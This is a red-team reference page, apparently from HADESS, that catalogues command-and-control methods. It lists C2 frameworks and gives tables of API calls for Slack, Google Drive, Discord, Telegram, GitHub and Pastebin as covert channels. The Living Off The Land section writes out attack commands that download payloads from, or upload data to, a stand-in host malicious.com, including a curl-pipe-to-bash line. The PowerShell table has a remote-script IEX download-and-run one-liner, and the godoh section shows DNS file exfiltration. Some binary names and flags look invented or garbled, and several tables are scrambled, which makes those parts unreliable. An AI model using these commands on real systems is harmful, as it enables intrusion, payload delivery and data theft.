

# TOP C&C METHODS



HADESS

WWW.HADESS.IO

# RedTeamRecipe

Red Team Recipe for Fun & Profit.



Follow

## Top C&C Methods( RTC0023)

### C2C Methods

#### DNS-over-HTTPS C2

<https://github.com/sensepost/godoh>

1. **Starting the C2 Server:** This command starts the godoh Command and Control (C2) server, which listens for incoming DNS requests and commands from agents.

`godoh --domain example.com c2`

- **Description:** This command initializes the C2 server on the specified domain (`example.com` in this case). The server listens on port 53 for DNS queries and handles communication with agents.

2. **Sending a File via DoH (DNS over HTTPS):** This command sends a file to a target domain using DNS A record lookups.

`godoh --domain targetdomain.com send --file path/to/yourfile.txt`

- **Description:** This command encodes and encrypts the specified file (`yourfile.txt`), then sends it to the `targetdomain.com`. The file is transmitted via DNS queries, which are less likely to be blocked or monitored by network security systems.

### havoc

<https://github.com/HavocFramework/Havoc>

# instagram

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Authenticate User	Authenticate the user to gain access to Instagram's API.	<pre>curl -X GET 'https://api.instagram.com/oauth/authorize?client_id={app-id}&amp;redirect_uri={redirect-uri}&amp;scope=user_profile,user_me&amp;response_type=code'</pre>	<a href="https://api.instagram.com/oauth/authorize?client_id={app-id}&amp;redirect_uri={redirect-uri}&amp;scope=user_profile,user_media&amp;response_type=code">https://api.instagram.com/oauth/authorize?client_id={app-id}&amp;redirect_uri={redirect-uri}&amp;scope=user_profile,user_media&amp;response_type=code</a>	GET
2	Get Access Token	Exchange the code received after authentication for an access token.	<pre>curl -X POST 'https://api.instagram.com/oauth/access_token' -F 'client_id={app-id}' -F 'client_secret={app-secret}' -F 'grant_type=authorization_code' -F 'redirect_uri={redirect-uri}' -F 'code={code}'</pre>	<a href="https://api.instagram.com/oauth/access_token">https://api.instagram.com/oauth/access_token</a>	POST
3	Retrieve User from the Media	Fetch media objects from the authenticated user's account.	<pre>curl -X GET 'https://graph.instagram.com/me/media?' fields=id,caption&amp;access_token={access-token}'</pre>	<a href="https://graph.instagram.com/me/media?fields=id,caption&amp;access_token={access-token}">https://graph.instagram.com/me/media?fields=id,caption&amp;access_token={access-token}</a>	GET
4	Get Media Details	Get details of a specific media object.	<pre>curl -X GET 'https://graph.instagram.com/{media-id}' fields=id,media_type,media_url,username,timestamp&amp;access_token={access-token}'</pre>	<a href="https://graph.instagram.com/{media-id}?fields=id,media_type,media_url,username,timestamp&amp;access_token={access-token}">https://graph.instagram.com/{media-id}?fields=id,media_type,media_url,username,timestamp&amp;access_token={access-token}</a>	GET
5	Post to Instagram	Post new media to the user's Instagram account. <i>Publishing API</i> .	<i>Note: Direct posting via API is restricted. Use Instagram's Content Publishing API.</i>	<i>Not directly available</i>	<i>Not directly available</i>

# slack

<https://github.com/Coalfire-Research/Slackor>

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Authenticate App	Obtain an access token for your Slack app.	<pre>curl -X POST 'https://slack.com/api/oauth.v2.access' -H 'Content-Type: application/x-www-form-urlencoded' -d 'code={code}&amp;client_id={client-id}&amp;client_secret={client-secret}&amp;redirect_uri={redirect-uri}'</pre>	<a href="https://slack.com/api/oauth.v2.access">https://slack.com/api/oauth.v2.access</a>	POST

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
2	Post Message	Send a message to a channel.	<pre>curl -X POST 'https://slack.com/api/chat.postMessage' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"channel":"{channel-id}","text":"Hello, world!"}'</pre>	<a href="https://slack.com/api/chat.postMessage">https://slack.com/api/chat.postMessage</a>	POST <a href="https://slack.com/api/chat.postMessage">https://slack.com/api/chat.postMessage</a>
3	List Channels	Retrieve a list of channels in the Slack workspace.	<pre>curl -X GET 'https://slack.com/api/conversations.list' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://slack.com/api/conversations.list">https://slack.com/api/conversations.list</a>	GET <a href="https://slack.com/api/conversations.list">https://slack.com/api/conversations.list</a>
4	Create Channel	Create a new channel in the workspace.	<pre>curl -X POST 'https://slack.com/api/conversations.create' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"name":"new- channel"}'</pre>	<a href="https://slack.com/api/conversations.create">https://slack.com/api/conversations.create</a>	POST <a href="https://slack.com/api/conversations.create">https://slack.com/api/conversations.create</a>
5	Upload File	Upload a file to a channel.	<pre>curl -F file=@"/path/to/your/file.txt" -F channels="{channel-id}" -H 'Authorization: Bearer {access-token}' 'https://slack.com/api/files.upload'</pre>	<a href="https://slack.com/api/files.upload">https://slack.com/api/files.upload</a>	POST <a href="https://slack.com/api/files.upload">https://slack.com/api/files.upload</a>

## Google calendar

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	List Calendars	Retrieve a list of calendars in the user's account.	<pre>curl -X GET 'https://www.googleapis.com/calendar/v3/use rs/me/calendarList' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://www.googleapis.com/calendar/v3/users/me/calendarList">https://www.googleapis.com/calendar/v3/users/me/calendarList</a>	GET <a href="https://www.googleapis.com/calendar/v3/users/me/calendarList">https://www.googleapis.com/calendar/v3/users/me/calendarList</a>
2	Create Event	Create a new event in a specified calendar.	<pre>curl -X POST 'https://www.googleapis.com/calendar/v3/cal endar/{calendar-id}/events' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{   "summary": "Event Title",   "description":     "Event Description",   "start": {     "dateTime": "2023-11-10T09:00:00-07:00"   },   "end": {     "dateTime": "2023-11-10T10:00:00-07:00"   } }'</pre>	<a href="https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events">https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events</a>	POST <a href="https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events">https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events</a>
3	Get Event	Retrieve details of a specific event.	<pre>curl -X GET 'https://www.googleapis.com/calendar/v3/cal endar/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}">https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}</a>	GET <a href="https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}">https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}</a>

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
4	Update Event	Update an existing event in a calendar.	<pre>curl -X PUT 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{   "summary": "Updated Event Title",   "description": "Updated Description" }'</pre>	<a href="https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}">https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}</a>	PUT
5	Delete Event	Delete an event from a calendar.	<pre>curl -X DELETE 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}">https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}</a>	DELETE

## google drive

<https://github.com/looCiprian/GC2-sheet>

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	List Files	Retrieve a list of files in the user's Google Drive.	<pre>curl -X GET 'https://www.googleapis.com/drive/v3/files' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://www.googleapis.com/drive/v3/files">https://www.googleapis.com/drive/v3/files</a>	GET
2	Upload File	Upload a new file to Google Drive.	<pre>curl -X POST 'https://www.googleapis.com/upload/drive/v3/files?uploadType=media' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: {mime-type}' --data-binary '@{file-path}'</pre>	<a href="https://www.googleapis.com/upload/drive/v3/files?uploadType=media">https://www.googleapis.com/upload/drive/v3/files?uploadType=media</a>	POST
3	Download File	Download a file from Google Drive.	<pre>curl -X GET 'https://www.googleapis.com/drive/v3/files/{file-id}?alt=media' -H 'Authorization: Bearer {access-token}' --output {local-file-path}</pre>	<a href="https://www.googleapis.com/drive/v3/files/{file-id}?alt=media">https://www.googleapis.com/drive/v3/files/{file-id}?alt=media</a>	GET
4	Update File	Update an existing file in Google Drive.	<pre>curl -X PATCH 'https://www.googleapis.com/drive/v3/files/{file-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{ "name": "new-file-name" }'</pre>	<a href="https://www.googleapis.com/drive/v3/files/{file-id}">https://www.googleapis.com/drive/v3/files/{file-id}</a>	PATCH
5	Delete File	Delete a file from Google Drive.	<pre>curl -X DELETE 'https://www.googleapis.com/drive/v3/files/{file-id}' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://www.googleapis.com/drive/v3/files/{file-id}">https://www.googleapis.com/drive/v3/files/{file-id}</a>	DELETE

# Living Off The Land Binaries

Binary/Library/Script	Function	Example Command
AddinUtil.exe	Execute	AddinUtil.exe /execute /payload:url
AppInstaller.exe	Download	AppInstaller.exe /download /url:http://malicious.com/payload
Aspnet_Compiler.exe	AWL	Aspnet_Compiler.exe /path:C:\malicious_code
	Bypass	
At.exe	Execute	At.exe 12:00 /every:M,T,W,Th,F "C:\malicious\malware.exe"
Atbroker.exe	Execute	Atbroker.exe /start /app:C:\malicious\malware.exe
Bash.exe	Execute	Bash.exe -c 'curl http://malicious.com/script.sh   bash'
Bitsadmin.exe	Download	Bitsadmin.exe /transfer myDownloadJob /download /priority normal http://malicious.com/payload.exe C:\payload.exe
Cert0C.exe	Execute	Cert0C.exe -urlcache -split -f http://malicious.com/payload.exe payload.exe
CertReq.exe	Download	CertReq.exe -retrieve http://malicious.com/certificate.cer
Certutil.exe	Download	Certutil.exe -urlcache -split -f http://malicious.com/payload.exe payload.exe
Cmd.exe	Execute	Cmd.exe /c "C:\malicious\malware.exe"
Cmdkey.exe	Credentials	Cmdkey.exe /list > C:\output.txt
cmdl32.exe	Download	cmdl32.exe /download http://malicious.com/payload.exe C:\payload.exe
Cmstp.exe	Execute	Cmstp.exe /ni /s C:\malicious\malware.inf
Colorcpl.exe	Copy	Colorcpl.exe /copy C:\malicious\malware.exe C:\Windows\System32\
ConfigSecurityPolicy.exe	Upload	ConfigSecurityPolicy.exe /upload C:\data.txt http://malicious.com/upload
Conhost.exe	Execute	Conhost.exe C:\malicious\malware.exe
Control.exe	Execute	Control.exe /name Microsoft.WindowsUpdate
Csc.exe	Compile	Csc.exe /out:Malware.exe Malware.cs
Cscript.exe	Execute	Cscript.exe //E:JScript C:\malicious\script.js

## merlin

<https://github.com/Neondog/merlin>

## kubesploit

<https://github.com/cyberark/kubesploit>

## phpsploit

<https://github.com/nilox42/phpsploit>

## blackmamba

<https://github.com/loseys/BlackMamba>

## **silver**

<https://github.com/BishopFox/sliver>

## **HeadHunter**

<https://github.com/Lionskey/HeadHunter>

## **Exchange**

[https://github.com/parham-f/Exchange\\_C2](https://github.com/parham-f/Exchange_C2)

## **cobalt**

<https://github.com/The-Z-Labs/b0f-launcher>

## **brc4**

## **discord**

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Send Message	Send a message to a Discord channel.	<pre>curl -X POST 'https://discord.com/api/channels/{channel-id}/messages' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"content": "Hello, world!"}'</pre>	<code>https://discord.c om/api/channels/{ch annel-id}/messag es</code>	POST
2	List Channel Messages	Retrieve messages from a specific channel.	<pre>curl -X GET 'https://discord.com/api/channels/{channel-id}/messages' -H 'Authorization: Bot {bot-token}'</pre>	<code>https://discord.c om/api/channels/{ch annel-id}/messag es</code>	GET
3	Edit Message	Edit a previously sent message in a channel.	<pre>curl -X PATCH 'https://discord.com/api/channels/{channel-id}/messages/{message-id}' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"content": "Edited message"}'</pre>	<code>https://discord.c om/api/channels/{ch annel-id}/messag es/{message-id}</code>	PATCH
4	Delete Message	Delete a message from a channel.	<pre>curl -X DELETE 'https://discord.com/api/channels/{channel-id}/messages/{message-id}' -H 'Authorization: Bot {bot-token}'</pre>	<code>https://discord.c om/api/channels/{ch annel-id}/messag es/{message-id}</code>	DELETE

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
5	Create Channel	Create a new channel in a Discord server.	<pre>curl -X POST 'https://discord.com/api/guilds/{guild-id}/channels' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"name": "new-channel", "type": 0}'</pre>	<a href="https://discord.com/api/guilds/{guild-id}/channels">https://discord.com/api/guilds/{guild-id}/channels</a>	POST <a href="https://discord.com/api/guilds/{guild-id}/channels">https://discord.com/api/guilds/{guild-id}/channels</a>

## telegram

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Send Message	Send a message to a Telegram chat.	<pre>curl -X POST 'https://api.telegram.org/bot{bot-token}/sendMessage' -d 'chat_id={chat-id}&amp;text=Hello, world!'</pre>	<a href="https://api.telegram.org/bot{bot-token}/sendMessage">https://api.telegram.org/bot{bot-token}/sendMessage</a>	POST <a href="https://api.telegram.org/bot{bot-token}/sendMessage">https://api.telegram.org/bot{bot-token}/sendMessage</a>
2	Get Updates	Retrieve new updates for the bot.	<pre>curl -X GET 'https://api.telegram.org/bot{bot-token}/getUpdates'</pre>	<a href="https://api.telegram.org/bot{bot-token}/getUpdates">https://api.telegram.org/bot{bot-token}/getUpdates</a>	GET <a href="https://api.telegram.org/bot{bot-token}/getUpdates">https://api.telegram.org/bot{bot-token}/getUpdates</a>
3	Edit Message	Edit a text message sent by the bot.	<pre>curl -X POST 'https://api.telegram.org/bot{bot-token}/editMessageText' -d 'chat_id={chat-id}&amp;message_id={message-id}&amp;text=Edited message'</pre>	<a href="https://api.telegram.org/bot{bot-token}/editMessageText">https://api.telegram.org/bot{bot-token}/editMessageText</a>	POST <a href="https://api.telegram.org/bot{bot-token}/editMessageText">https://api.telegram.org/bot{bot-token}/editMessageText</a>
4	Delete Message	Delete a message sent by the bot.	<pre>curl -X POST 'https://api.telegram.org/bot{bot-token}/deleteMessage' -d 'chat_id={chat-id}&amp;message_id={message-id}'</pre>	<a href="https://api.telegram.org/bot{bot-token}/deleteMessage">https://api.telegram.org/bot{bot-token}/deleteMessage</a>	POST <a href="https://api.telegram.org/bot{bot-token}/deleteMessage">https://api.telegram.org/bot{bot-token}/deleteMessage</a>
5	Send Photo	Send a photo to a Telegram chat.	<pre>curl -X POST 'https://api.telegram.org/bot{bot-token}/sendPhoto' -F 'chat_id={chat-id}' -F 'photo=@/path/to/photo.jpg'</pre>	<a href="https://api.telegram.org/bot{bot-token}/sendPhoto">https://api.telegram.org/bot{bot-token}/sendPhoto</a>	POST <a href="https://api.telegram.org/bot{bot-token}/sendPhoto">https://api.telegram.org/bot{bot-token}/sendPhoto</a>

## github

<https://github.com/3ctos/dystopia-c2>

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	List Repositories	Retrieve a list of repositories for a user.	<pre>curl -X GET 'https://api.github.com/users/{username}/repos' -H 'Authorization: token {access-token}'</pre>	<a href="https://api.github.com/users/{username}/repos">https://api.github.com/users/{username}/repos</a>	GET <a href="https://api.github.com/users/{username}/repos">https://api.github.com/users/{username}/repos</a>
2	Create Repository	Create a new repository.	<pre>curl -X POST 'https://api.github.com/user/repos' -H 'Authorization: token {access-token}' -H 'Content-Type: application/json' -d '{"name": "repo-name", "private": false}'</pre>	<a href="https://api.github.com/user/repos">https://api.github.com/user/repos</a>	POST <a href="https://api.github.com/user/repos">https://api.github.com/user/repos</a>

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
3	Get Repository	Retrieve details of a specific repository.	<pre>curl -X GET  'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}'</pre>	<code>/api.github.com/repos/{owner}/{repo}</code>	<code>https://api.github.com GET</code>
4	Update Repository	Update settings of a repository.	<pre>curl -X PATCH  'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}' -H 'Content-Type: application/json' -d '{"name": "new-repo-name", "description": "Updated description"}'</pre>	<code>/api.github.com/repos/{owner}/{repo}</code>	<code>https://api.github.com PATCH</code>
5	Delete Repository	Delete a repository.	<pre>curl -X DELETE  'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}'</pre>	<code>/api.github.com/repos/{owner}/{repo}</code>	<code>https://api.github.com DELETE</code>

## image

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Upload Image	Upload an image to the server for processing.	<pre>curl -X POST  'https://api.imaginaryservice.com/upload' -H 'Authorization: Bearer {access-token}' -F 'image=@/path/to/image.jpg'</pre>	<code>https://api.imaginaryservice.com/upload</code>	<code>POST https://api.imaginaryservice.com/upload</code>
2	Apply Filter	Apply a filter to an uploaded image.	<pre>curl -X POST  'https://api.imaginaryservice.com/images/{image-id}/filter' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"filter": "sepia"}'</pre>	<code>https://api.imaginaryservice.com/images/{image-id}/filter</code>	<code>POST https://api.imaginaryservice.com/images/{image-id}/filter</code>
3	Resize Image	Resize an uploaded image.	<pre>curl -X PUT  'https://api.imaginaryservice.com/images/{image-id}/resize' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"width": 800, "height": 600}'</pre>	<code>https://api.imaginaryservice.com/images/{image-id}/resize</code>	<code>PUT https://api.imaginaryservice.com/images/{image-id}/resize</code>
4	Retrieve Image	Download a processed image.	<pre>curl -X GET  'https://api.imaginaryservice.com/images/{image-id}' -H 'Authorization: Bearer {access-token}' --output {local-file-path}</pre>	<code>https://api.imaginaryservice.com/images/{image-id}</code>	<code>GET https://api.imaginaryservice.com/images/{image-id}</code>
5	Delete Image	Delete an image from the server.	<pre>curl -X DELETE  'https://api.imaginaryservice.com/images/{image-id}' -H 'Authorization: Bearer {access-token}'</pre>	<code>https://api.imaginaryservice.com/images/{image-id}</code>	<code>DELETE https://api.imaginaryservice.com/images/{image-id}</code>

# powershell

ID	Title	Description	PowerShell Commands and Codes	API Endpoint (Hypothetical)	HTTP Requests (Example)
1	Invoke Web Request	Send a GET request to an API.	<pre>Invoke-WebRequest -Uri 'https://api.example.com/data' -Method Get -Headers @{Authorization="Bearer {access-token}"}  Invoke-WebRequest -Uri 'https://example.com/file.zip' -OutFile N/A 'path\to\save\file.zip'</pre>	<a href="https://api.example.com/data">https://api.example.com/data</a>	GET https://api.example.com/data
2	Download File	Download a file from the internet.		N/A	N/A
3	Execute Remote Script	Run a PowerShell script from a remote location.	<pre>IEX (New-Object Net.WebClient).DownloadString('https://example.com/script.ps1')  \$body = @{key='value'} \  ConvertTo-Json; Invoke-WebRequest -Uri 'https://api.example.com/submit' -Method Post -Body \$body -ContentType 'application/json' -Headers @{Authorization="Bearer {access-token}"}  Get-ComputerInfo</pre>	N/A	N/A
4	Post Data to API	Send a POST request with data.		<a href="https://api.example.com/submit">https://api.example.com/submit</a>	POST https://api.example.com/submit
5	Fetch System Information	Retrieve system information.		N/A	N/A

# curl

ID	Title	Description	curl Commands and Codes	API Endpoint	HTTP Requests
1	GET Request	Retrieve data from an API.	<pre>curl -X GET 'https://api.example.com/data' -H 'Authorization: Bearer {access-token}'  curl -X POST 'https://api.example.com/submit' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"key": "value"}'  curl -X PUT 'https://api.example.com/update/123' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"newKey": "newValue"}'  curl -X DELETE 'https://api.example.com/delete/123' -H 'Authorization: Bearer {access-token}'</pre>	<a href="https://api.example.com/data">https://api.example.com/data</a>	GET https://api.example.com/data
2	POST Request	Send data to an API.		<a href="https://api.example.com/submit">https://api.example.com/submit</a>	POST https://api.example.com/submit
3	PUT Request	Update data at an API.		<a href="https://api.example.com/update/123">https://api.example.com/update/123</a>	PUT https://api.example.com/update/123
4	DELETE Request	Delete data using an API.		<a href="https://api.example.com/delete/123">https://api.example.com/delete/123</a>	DELETE https://api.example.com/delete/123

ID	Title	Description	<code>curl</code> Commands and Codes	API Endpoint	HTTP Requests
5	PATCH Request	Partially update data at an API.	<pre>curl -X PATCH 'https://api.example.com/modify/123' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"patchKey": "patchValue"}'</pre>	<a href="https://api.example.com/modify/123">https://api.example.com/modify/123</a>	PATCH

## scp

ID	Title	Description	SCP Commands and Codes	Notes
1	Copy File to Remote	Copy a local file to a remote server.	<pre>scp /path/to/local/file username@remotehost:/path/to/remote/directory</pre>	Replace paths and <code>username@remotehost</code> with actual values.
2	Copy File from Remote	Copy a file from a remote server to the local machine.	<pre>scp username@remotehost:/path/to/remote/file /path/to/local/directory</pre>	Replace paths and <code>username@remotehost</code> with actual values.
3	Copy Directory to Remote	Copy a local directory to a remote server.	<pre>scp -r /path/to/local/directory username@remotehost:/path/to/remote</pre>	Use <code>-r</code> for recursive copy of directories.
4	Copy Directory from Remote	Copy a directory from a remote server to the local machine.	<pre>scp -r username@remotehost:/path/to/remote/directory /path/to/local scp -P portnumber</pre>	Use <code>-r</code> for recursive copy of directories.
5	Secure Copy with Port Specification	Copy a file using a specific SSH port.	<pre>/path/to/local/file username@remotehost:/path/to/remote/directory</pre>	Replace <code>portnumber</code> with the SSH port number.

## rsync

ID	Title	Description	rsync Commands and Codes	Notes
1	Basic File Sync	Synchronize a local file to a remote directory.	<pre>rsync /path/to/local/file username@remotehost:/path/to/remote/directory</pre>	Replace paths and <code>username@remotehost</code> with actual values.
2	Sync Directory	Synchronize a local directory to a remote directory.	<pre>rsync -avz /path/to/local/directory/ username@remotehost:/path/to/remote/directory</pre>	<code>-avz</code> flags are for archive mode, verbose, and compression.
3	Sync with Deletion	Synchronize while deleting files that are not in the source directory.	<pre>rsync -avz --delete /path/to/local/directory/ username@remotehost:/path/to/remote/directory</pre>	<code>--delete</code> flag removes files from the destination not present in the source.
4	Dry Run	Perform a trial run with no changes made.	<pre>rsync -avz --dry-run /path/to/local/directory/ username@remotehost:/path/to/remote/directory</pre>	<code>--dry-run</code> shows what would be done without making changes.

ID	Title	Description	<b>rsync</b> Commands and Codes	Notes
5	Sync Over SSH	Synchronize files securely over SSH.	<code>rsync -avz -e "ssh -p portnumber" /path/to/local/directory/ username@remotehost:/path/to/remote/directory</code>	<code>-e "ssh -p portnumber"</code> specifies using SSH on a custom port.

## wget

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Download a Single File	Download a file from a specified URL.	<code>wget http://example.com/file.txt</code>		GET
2	Download and Save with a Different Name	Download a file and save it under a different name.	<code>wget -O newfilename.txt http://example.com/file.txt</code>		GET
3	Download in Background	Start a download in the background.	<code>wget -b http://example.com/bigfile.iso</code>		GET
4	Limit Download Speed	Limit the download speed.	<code>wget --limit-rate=100k http://example.com/bigfile.iso</code>		GET
5	Download a Full Website	Download the entire contents of a website.	<code>wget --mirror -p --convert-links -P ./local-dir http://example.com</code>		Based on <code>filelist.txt</code> contents
6	Download Files from a List	Download files from a list in a text file.	<code>wget -i filelist.txt</code>		GET
7	Download with Authentication	Download a file from a server with HTTP authentication.	<code>wget --http-user=user --http-password=password http://example.com/</code>		GET
8	Download via FTP	Download files from an FTP server.	<code>wget ftp://user:password@example.com/path/to/file</code>		FTP request to <code>example.com</code>
9	Resume an Incomplete Download	Resume a download that was interrupted.	<code>wget -c http://example.com/bigfile.iso</code>		GET

## yum

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Install a Package	Install a new software package.	<code>yum install packageName</code>	N/A	N/A
2	Update a Package	Update an installed software package.	<code>yum update packageName</code>	N/A	N/A

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
3	Remove a Package	Remove an installed software package.	<code>yum remove packageName</code>	N/A	N/A
4	List Installed Packages	List all installed packages.	<code>yum list installed</code>	N/A	N/A
5	Search for a Package	Search for a package in the repositories.	<code>yum search keyword</code>	N/A	N/A
6	Check for Updates	Check for available updates for all packages.	<code>yum check-update</code>	N/A	N/A
7	Clean Cache	Clean up yum cache to free up space.	<code>yum clean all</code>	N/A	N/A
8	List Available Packages	List all available packages in the repositories.	<code>yum list available</code>	N/A	N/A
9	Get Package Information	Display detailed information about a package.	<code>yum info packageName</code>	N/A	N/A

## winget

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Install a Package	Install a new software package.	<code>winget install packageName</code>	N/A	N/A
2	Search for a Package	Search for a package in the repository.	<code>winget search packageName</code>	N/A	N/A
3	Show Package Details	Show details of a specific package.	<code>winget show packageName</code>	N/A	N/A
4	List Installed Packages	List all installed packages.	<code>winget list</code>	N/A	N/A
5	Update a Package	Update an installed software package.	<code>winget upgrade packageName</code>	N/A	N/A
6	Remove a Package	Remove an installed software package.	<code>winget uninstall packageName</code>	N/A	N/A
7	Upgrade All Packages	Upgrade all upgradable packages.	<code>winget upgrade --all</code>	N/A	N/A
8	Export Package List	Export a list of installed packages to a file.	<code>winget export -o packages.json</code>	N/A	N/A
9	Import Package List	Install packages from an exported list.	<code>winget import -i packages.json</code>	N/A	N/A

## ftp

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Connect to FTP Server	Establish a connection with an FTP server.	<code>ftp ftp.server.com</code>	N/A	N/A
2	Login	Log in to the FTP server with a username and password.	<code>username then password</code>	N/A	N/A

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
3	List Files	List files in the current directory.	<code>ls</code> or <code>dir</code>	N/A	N/A
4	Change Directory	Change the current directory on the FTP server.	<code>cd /path/to/directory</code>	N/A	N/A
5	Upload File	Upload a file to the FTP server.	<code>put localfile.txt remotefile.txt</code>	N/A	N/A
6	Download File	Download a file from the FTP server.	<code>get remotefile.txt localfile.txt</code>	N/A	N/A
7	Delete File	Delete a file on the FTP server.	<code>delete remotefile.txt</code>	N/A	N/A
8	Rename File	Rename a file on the FTP server.	<code>rename oldfilename.txt newfilename.txt</code>	N/A	N/A
9	Logout	Logout from the FTP server.	<code>bye</code> or <code>quit</code>	N/A	N/A

## usb

## Pastebin

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	Create Paste	Create a new paste on Pastebin.	<pre>curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key= {api_dev_key}&amp;api_option=paste&amp;api_paste_code=Sa mple Text&amp;api_paste_name=Test Paste&amp;api_paste_expire_date=10M&amp;api_paste_format =text&amp;api_user_key={api_user_key}'</pre>	<a href="https://pastebin.com/api/api_post.php">https://pastebin.com/api/api_post.php</a>	POST
2	List User Pastes	List the pastes created by a user.	<pre>curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key= {api_dev_key}&amp;api_option=list&amp;api_user_key= {api_user_key}&amp;api_results_limit=10'</pre>	<a href="https://pastebin.com/api/api_post.php">https://pastebin.com/api/api_post.php</a>	POST
3	Get User Details	Retrieve details of the logged-in user.	<pre>curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key= {api_dev_key}&amp;api_option=userdetails&amp;api_user_ke y={api_user_key}'</pre>	<a href="https://pastebin.com/api/api_post.php">https://pastebin.com/api/api_post.php</a>	POST
4	Delete Paste	Delete a user's paste.	<pre>curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key= {api_dev_key}&amp;api_option=delete&amp;api_user_key= {api_user_key}&amp;api_paste_key={paste_key}'</pre>	<a href="https://pastebin.com/api/api_post.php">https://pastebin.com/api/api_post.php</a>	POST
5	Get Raw Paste	Get the raw text of a paste.	<pre>curl -X GET 'https://pastebin.com/api/api_raw.php? api_dev_key={api_dev_key}&amp;api_user_key= {api_user_key}&amp;api_paste_key={paste_key}'</pre>	<a href="https://pastebin.com/api/api_raw.php">https://pastebin.com/api/api_raw.php</a>	GET

# YouTube

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	List Videos	Retrieve a list of videos from a specific channel.	<pre>curl -X GET       'https://www.googleapis.com/youtube/v3/videos?part=snippet&amp;channelId={channelId}&amp;key={API_KEY}'</pre>	<a href="https://www.googleapis.com/youtube/v3/videos">https://www.googleapis.com/youtube/v3/videos</a>	GET
2	Upload Video	Upload a video to YouTube.	<pre>curl -X POST -H 'Authorization: Bearer {access-token}' -F 'snippet={"title":"My video","description":"Video description","tags":["tag1","tag2"]}' -F 'status={"privacyStatus":"public"}' -F 'video=@/path/to/video.mp4;type=video/mp4'       'https://www.googleapis.com/upload/youtube/v3/videos?part=snippet,status' curl -X PUT       'https://www.googleapis.com/youtube/v3/videos       -H 'Authorization: Bearer {access-token}' -d       '{"id":"{videoId}","snippet":{"title":"New Title","description":"Updated description","categoryId":"10"},"status":{"privacyStatus":"public"}}'</pre>	<a href="https://www.googleapis.com/upload/youtube/v3/videos?part=snippet,status">https://www.googleapis.com/upload/youtube/v3/videos?part=snippet,status</a>	POST
3	Update Video Details	Update metadata of an existing video.	<pre>curl -X PUT       'https://www.googleapis.com/youtube/v3/videos       -H 'Authorization: Bearer {access-token}' -d       '{"id":"{videoId}","snippet":{"title":"New Title","description":"Updated description","categoryId":"10"},"status":{"privacyStatus":"public"}}'</pre>	<a href="https://www.googleapis.com/youtube/v3/videos">https://www.googleapis.com/youtube/v3/videos</a>	PUT
4	Delete Video	Delete a video from YouTube.	<pre>curl -X DELETE       'https://www.googleapis.com/youtube/v3/videos?id={videoId}&amp;key={API_KEY}' -H       'Authorization: Bearer {access-token}'</pre>	<a href="https://www.googleapis.com/youtube/v3/videos?id={videoId}&amp;key={API_KEY}">https://www.googleapis.com/youtube/v3/videos?id={videoId}&amp;key={API_KEY}</a>	DELETE
